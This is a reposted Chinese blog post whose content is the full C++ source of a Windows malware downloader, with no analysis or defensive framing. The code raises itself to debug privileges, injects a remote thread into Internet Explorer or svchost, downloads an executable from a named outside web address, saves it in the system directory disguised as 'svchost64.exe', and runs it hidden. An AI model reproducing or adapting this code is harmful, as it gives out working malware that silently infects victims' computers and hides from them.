C++ win32 下载者源码

冷不防 2022-01-17 03:13 205阅读 0赞

#include "stdafx.h”
    #include “stdio.h”
    #include “string.h”
    #include <windows.h>
    #include <wininet.h>
    #include “tlhelp32.h”
    #pragma comment(lib,”wininet.lib“)
    
    /***********************************************/
    typedef HINSTANCE (__stdcall *fun_ShellExecute)(HWND hWnd,          //定义 ShellExecute
                                                    LPCTSTR lpOperation,
                                                    LPCTSTR lpFile,
                                                    LPCTSTR lpParameters,
                                                    LPCTSTR lpDiretory,
                                                    INT nShowCmd);
    
    typedef int (__stdcall *fun_MessageBox)(HWND hWnd, LPCTSTR lpszText,   //定义MessageBoxA原型
                                             LPCTSTR lpszCaption, UINT nType);
    
    // define functions in kernel32.dll
    typedef HANDLE (__stdcall *fun_CreateFile)( LPCTSTR, DWORD, DWORD, //定义CreateFileA
                                                LPSECURITY_ATTRIBUTES,
                                                DWORD, DWORD, HANDLE );
    typedef BOOL (__stdcall *fun_WriteFile)( HANDLE, LPCVOID, DWORD,     //定义WriteFile
                                             LPDWORD, LPOVERLAPPED );
    typedef BOOL (__stdcall *fun_CloseHandle)( HANDLE hObject );    //定义CloseHandle
    typedef HMODULE (__stdcall *fun_GetModuleHandle)(LPCTSTR);    //定义GetModuleHandle
    typedef FARPROC (__stdcall *fun_GetProcAddress)(HMODULE, LPCTSTR); //定义GetProcAddress
    typedef HINSTANCE (__stdcall *fun_LoadLibrary)(LPCTSTR);       //定义LoadLibraryA
    
    // define functions in wininet.dll
    typedef HINTERNET (__stdcall *fun_InternetOpen)(IN LPCTSTR lpszAgent,  //定义InternetOpen
                                                    IN DWORD dwAccessType,
                                                    IN LPCTSTR lpszProxyByName,
                                                    IN LPCTSTR lpszProxyByPass,
                                                    IN DWORD dwFlags);
    typedef HINTERNET (__stdcall *fun_InternetOpenUrl)(IN HINTERNET hInternet,//定义InternetOpenUrl
                                                       IN LPCTSTR lpszUrl,
                                                       IN LPCTSTR lpszHeaders OPTIONAL,
                                                       IN DWORD dwHeadersLength,
                                                       IN DWORD dwFlags,
                                                        IN DWORD dwContext);
    typedef HINTERNET (__stdcall *fun_InternetReadFile)(IN HINTERNET hFile, //定义InternetReadFile
                                                        IN LPVOID lpBuffer,
                                                        IN DWORD dwNumberOfBytesToRead,
                                                        OUT LPDWORD lpdwNumberOfBytesRead);
    typedef HINTERNET (__stdcall *fun_InternetCloseHandle)(IN HINTERNET hInternet); //定义InternetCloseHandle
    
    typedef struct tag_Inject             // define a structure to copy to distance process
                            {
                            fun_GetModuleHandle GetModuleHandle;
                            fun_GetProcAddress GetProcAddress;
                            fun_LoadLibrary LoadLibrary;
                            char szKernel[32];
                            char szUser[32];
                            char szNet[32];
                            char szShell[32];
                            char szMessageBox[32];
                            char szInternetOpen[32];
                            char szInternetOpenUrl[MAX_PATH];
                            char szInternetReadFile[128];
                            char szInternetCloseHandle[32];
                            char szCreateFile[32];
                            char szWriteFile[32];
                            char szCloseHandle[32];
                            char szShellExecute[32];
                            char szHeader[16];
                            char szInterFlag[32];
                            char szOpenFlag[10];
                            char szUrlAddr[MAX_PATH];
                            char szUrlAddr1[MAX_PATH];
                            char szFilePath[MAX_PATH];
                            char szFilePath1[MAX_PATH];
                            }Inject;
    
    /***************************************/
    
    /************************************************/
    static BOOL ThreadProc(Inject* Inject_info)
    {
        HMODULE hKernel32, hUser32, hWininet, hShell32;  //模块句柄
    
        fun_InternetOpen j_InternetOpen;           //定义函数指针
        fun_InternetOpenUrl j_InternetOpenUrl;
        fun_InternetReadFile j_InternetReadFile;
        fun_InternetCloseHandle j_InternetCloseHandle;
        fun_CreateFile j_CreateFile;
        fun_WriteFile j_WriteFile;
        fun_CloseHandle j_CloseHandle;
        fun_MessageBox j_MessageBox;
        fun_ShellExecute j_ShellExecute;
    
        hKernel32 = Inject_info->GetModuleHandle(Inject_info->szKernel);  //隐式加载DLL
        if (NULL == hKernel32)                              //加载失败
        {
            hKernel32 = Inject_info->LoadLibrary(Inject_info->szKernel);          //显示加载
            if (NULL == hKernel32)                                      //显示加载失败
            {
                return FALSE;
            }
        }
    
        hUser32 = Inject_info->GetModuleHandle(Inject_info->szUser);
        if (NULL == hUser32)
        {
            hUser32 = Inject_info->LoadLibrary(Inject_info->szUser);
            if (NULL == hUser32)
            {
                return FALSE;
            }
        }
    
        hWininet = Inject_info->GetModuleHandle(Inject_info->szNet);
        if (NULL == hWininet)
        {
            hWininet = Inject_info->LoadLibrary(Inject_info->szNet);
            if (NULL == hWininet)
            {
                return FALSE;
            }
        }
    
        hShell32 = Inject_info->GetModuleHandle(Inject_info->szShell);
        if (NULL == hShell32)
        {
            hShell32 = Inject_info->LoadLibrary(Inject_info->szShell);
            if (NULL == hShell32)
            {
                return FALSE;
            }
        }
    
        j_InternetOpen = (fun_InternetOpen)Inject_info->GetProcAddress(hWininet,                    //绑定 InternetOpen
                                                                        Inject_info->szInternetOpen);
        j_InternetOpenUrl = (fun_InternetOpenUrl)Inject_info->GetProcAddress(hWininet,              //绑定 InternetOpenUrl
                                                                             Inject_info->szInternetOpenUrl);
        j_InternetReadFile = (fun_InternetReadFile)Inject_info->GetProcAddress(hWininet,            //绑定 InternetReadFile
                                                                                Inject_info->szInternetReadFile);
        j_InternetCloseHandle = (fun_InternetCloseHandle)Inject_info->GetProcAddress(hWininet,      //绑定 InternetCloseHandle
                                                                                    Inject_info->szInternetCloseHandle);
    
        j_CreateFile = (fun_CreateFile)Inject_info->GetProcAddress(hKernel32,                       //绑定 CreateFile
                                                                    Inject_info->szCreateFile);
        j_WriteFile = (fun_WriteFile)Inject_info->GetProcAddress(hKernel32,                         //绑定 WriteFile
                                                                    Inject_info->szWriteFile);
        j_CloseHandle = (fun_CloseHandle)Inject_info->GetProcAddress(hKernel32,                     //绑定 CloseHandle
                                                                    Inject_info->szCloseHandle);
        j_MessageBox = (fun_MessageBox)Inject_info->GetProcAddress(hUser32,                         //绑定 MessageBox
                                                                    Inject_info->szMessageBox);
        j_ShellExecute = (fun_ShellExecute)Inject_info->GetProcAddress(hShell32,                    //绑定 ShellExecute
                                                                        Inject_info->szShellExecute);
        HINTERNET hNet, hFile;                                                                      //定义网络句柄和文件句柄
    
        hNet = j_InternetOpen(Inject_info->szInterFlag, INTERNET_OPEN_TYPE_PRECONFIG,
                                NULL, NULL, 0);                                                     //打开网络并返回网络句柄
        if (NULL == hNet)                                                                           //打开网络出错
        {
            return FALSE;
        }
    
        hFile = j_InternetOpenUrl(hNet, Inject_info->szUrlAddr, Inject_info->szHeader,
                                    strlen(Inject_info->szHeader),
                                    INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_RELOAD, 0);              //打开指定的URL并返回请求的URL的资源句柄
        if (NULL == hFile)                                                                          //打开网络地址出错
        {
            return FALSE;
        }
    
        char buff[1024];                                                                            //数据传输缓存
        DWORD dwRead,                                                                               //字节数
                dwWritten = NULL;                                                                   //实际写入的字节数
    
        HANDLE hCreateFile = j_CreateFile(Inject_info->szFilePath, GENERIC_READ|GENERIC_WRITE,      //始终创建文件
                                            0, NULL, CREATE_ALWAYS, 0 ,NULL);
        if (NULL == hCreateFile)                                                                    //创建文件出错！
        {
            return FALSE;
        }
        while(j_InternetReadFile(hFile, buff, 1023, &dwRead))
        {
            if (0 == dwRead)                 //如果传输出错，退出
                break;
            j_WriteFile(hCreateFile, buff, dwRead, &dwWritten, NULL);  //将读取到的数据写入本地文件
    
        }
        j_InternetCloseHandle(hNet);                             //关闭网络句柄
        j_InternetCloseHandle(hFile);                           //关闭网络文件句柄
        j_CloseHandle(hCreateFile);                            //关闭本地文件句柄
    
        j_ShellExecute(NULL, NULL, Inject_info->szFilePath, NULL, NULL, SW_HIDE); //运行
    
        return TRUE;
    }
    
    static void AddressFlag(void)
    {
    }
    /****************************************************************************************************************/
    
    /***************************************************************************************/
    /*                       提升当前进程的权限到 DEBUG                                    */
    /***************************************************************************************/
    
    /****************************************************************************************************************/
    BOOL ImprovePrivilege()                                         //将进程提权
    {
        HANDLE hToken = NULL ;                              //令牌句柄
        BOOL bRet = FALSE;                                      //返回执行结果
        TOKEN_PRIVILEGES tp = {1, {0, 0, SE_PRIVILEGE_ENABLED}};   //填充权限令牌结构
    
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);   //查询是否具有调试权限
        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //打开进程权限令牌
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, 0, 0);    //为进程申请 DEBUG 权限
        bRet = (GetLastError() == ERROR_SUCCESS);                //检测是否执行成功
        return bRet;
    }
    /****************************************************************************************************************/
    
    /***************************************************************************************/
    /*                       得到IExplore.exe的进程ID                                      */
    /***************************************************************************************/
    
    /****************************************************************************************************************/
    DWORD Get_ProcID()
    {
        char* strProc = new char[256];
        HANDLE hSnap;                                                       //快照句柄
        PROCESSENTRY32 ppe;                                                 //进程结构信息
    
        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);            //创建系统进程快照
    
        if (!ImprovePrivilege())                                            //提升本进程权限
        {
            return FALSE;
        }
        ppe.dwSize = sizeof( PROCESSENTRY32 );                              //计算结构大小
        Process32First( hSnap, &ppe );                                      //找到第一个进程
        while ( 1 )          //判断系统中的进程是否有IE的进程
        {
            strcpy(strProc, ppe.szExeFile); //转存
            strProc = strlwr(strProc);  //转换为小写
            if (0 == strcmp(strProc, “iexplore.exe“))//判断是否是 IE
            {
                return ppe.th32ProcessID;
            }
            else if (0 == strcmp(strProc, “svchost.exe“))//判断是否是 svchost
            {
                return ppe.th32ProcessID;
            }
            if ( !Process32Next( hSnap, &ppe ))
            {
                break;
            }
        }
        CloseHandle( hSnap );
        return 0;
    }
    /*************************************/
    
    /*************************************************************************************/
    /*      将 ThreadProc 函数以插入线程的形式在浏览器进程中运行                         */
    /*************************************/
    
    /*************************************/
    BOOL InsertThread()
    {
        char szSystemRoot[MAX_PATH];
        PDWORD pdwRemote = NULL;  //申请远程空间地址
        const int iCodeSize = ((LPBYTE)AddressFlag - (LPBYTE)ThreadProc);//计算代码长度
    
        Inject *InjectRemote = NULL; //将Inject复制到远程进程空间中去
        DWORD dwThread = NULL,
            dwOut = NULL,
             dwProc = Get_ProcID();
        HANDLE hProc = NULL;
        const DWORD cbMemSize = iCodeSize + sizeof(Inject) + 3; //需要的内存块大小
    
        Inject Inject_stru = {NULL, NULL, NULL,
                                “kernel32.dll“,
                                “user32.dll“,
                                “wininet.dll“,
                                “shell32.dll“,
                                “MessageBoxA“,
                                “InternetOpenA“,
                                “InternetOpenUrlA“,
                                “InternetReadFile“,
                                “InternetCloseHandle“,
                                “CreateFileA“,
                                “WriteFile“,
                                “CloseHandle“,
                                “ShellExecuteA“,
                                “Accept: */*\r\n\r\n“,
                                “RookIE/1.0“,
                                “wba“,
                                “http://www.hf-hx.com/music/x.exe“,
                                “”};  //初始化结构
    
        GetSystemDirectory(szSystemRoot, sizeof(szSystemRoot)); //得到系统目录
        strcat(szSystemRoot, “\\svchost64.exe“); //构造文件名(含路径)
        strcpy(Inject_stru.szFilePath, szSystemRoot); //传递给Inject 结构中的szFilePaht
    
        HMODULE hKernel32 = GetModuleHandle(”kernel32.dll“);
        Inject_stru.GetModuleHandle = (fun_GetModuleHandle)GetProcAddress(hKernel32, “GetModuleHandleA“);//绑定GetModuleHandle
        Inject_stru.GetProcAddress = (fun_GetProcAddress)GetProcAddress(hKernel32, “GetProcAddress“); //绑定GetProcAddress
        Inject_stru.LoadLibrary = (fun_LoadLibrary)GetProcAddress(hKernel32, “LoadLibraryA“);//绑定LoadLibrary
    
        hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProc);     //以最高权限打开浏览器进程
        if (NULL == hProc)
        {
            return FALSE;
        }
    
        pdwRemote = (PDWORD)VirtualAllocEx(hProc, NULL, cbMemSize, MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); //在远程空间中申请内存块
        if (NULL == pdwRemote)
        {
            return FALSE;
        }
    
        if (!WriteProcessMemory(hProc, pdwRemote, (LPVOID)ThreadProc, cbMemSize, &dwOut)) //向远程进程写入功能代码
        {
            return FALSE;
        }
    
        InjectRemote = (Inject*)(((LPBYTE)pdwRemote) + ((iCodeSize + 4) & ~3));
        if (!WriteProcessMemory(hProc, InjectRemote, &Inject_stru, sizeof(Inject_stru), &dwOut))  //向远程线程写入结构数据
        {
            return FALSE;
        }
    
        if (NULL == CreateRemoteThread(hProc, NULL, 65535, (LPTHREAD_START_ROUTINE)pdwRemote, InjectRemote, 0, NULL)) //创建进程线程
        {
            return FALSE;
        }
    
        return TRUE;
    }
    /******************************************/
    
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
        InsertThread();
        return 0;
    }

转载于:https://blog.51cto.com/4225964/780140